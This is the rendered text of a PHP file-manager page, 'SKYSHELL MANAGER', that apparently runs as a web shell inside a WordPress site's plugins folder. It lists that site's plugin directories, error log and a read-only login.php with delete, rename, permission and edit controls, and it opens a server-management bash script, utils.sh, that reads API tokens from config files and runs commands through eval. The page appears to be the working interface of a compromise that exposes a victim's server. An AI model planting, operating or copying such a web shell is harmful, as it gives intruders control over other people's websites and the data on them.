📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
3636.99 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: utils.sh
#!/bin/bash COMPLETE="complete"; BASIC="basic"; export CONF_DIR='/etc/hc_managed_servers' export CONFIG_FILE="${CONF_DIR}/app.conf" export ENV_FILE="${CONF_DIR}/.env" export VENV_PATH="${PROJECT_ROOT}/env" function check_exit() { if [[ "$1" == "ex" ]]; then shift; local EXIT_FLAG=1 fi eval "$@" &>/dev/null; if [ $? -ne 0 ]; then write_log "$@"; eval "$@" 2>&1 | sed '1s/^/[log_start:'$(hostname)']\n/' | sed '$s/$/\n[log_end]/' write_log 'Failed!' if [[ -n $EXIT_FLAG ]]; then write_log 'Exiting!' rm $0 exit 1 fi fi } function management_type_check() { grep -q backup /etc/fstab && type=$COMPLETE || type=$BASIC echo "$type" } read_conf() { [ ! -e "$ENV_FILE" ] && { echo "Env file $ENV_FILE is missing" ; exit 1 ; } [ ! -e "$CONFIG_FILE" ] && { echo "Config file $CONFIG_FILE is missing" ; exit 1 ; } local key value for file in "$ENV_FILE" "$CONFIG_FILE"; do while IFS='=' read -r key value; do if [[ $key =~ ^[[:space:]]*# || -z $key ]]; then continue fi key=$(echo $key | tr -d '[:space:]' | tr '[:lower:]' '[:upper:]') value=$(echo $value | sed 's/^[[:space:]]*//;s/[[:space:]]*$//') if [[ -z $value ]]; then echo "Error: Missing value for $key in $file" >&2 exit 1 fi case $key in CRON_INTERVAL_MIN) if ! [[ $value =~ ^[0-9]+$ ]] || [[ $value -lt 10 ]]; then echo "Error: Invalid value for $key: $value. Must be a number greater or equal to 10." >&2 exit 1 fi ;; LOG_FILE) if [[ ! $value =~ ^/ ]]; then echo "Error: Invalid value for $key: $value. Must be an absolute path." >&2 exit 1 fi ;; esac export "$key"="$value" done < "$file" done if [[ -z $CRON_INTERVAL_MIN || -z $LOG_FILE || -z $API_GW_URL || -z $API_TOKEN ]]; then echo "Error: Missing one or more required variables: CRON_INTERVAL_MIN, LOG_FILE, API_GW_URL, API_TOKEN in $ENV_FILE or $CONFIG_FILE" >&2 exit 1 fi } read_conf function write_log() { mkdir -p "$(dirname "$LOG_FILE")" echo -e "$(date +'%Y-%m-%d %T %z') $(hostname) [alert_fixer]:" $(echo "$*") | tee -a "$LOG_FILE" }
Save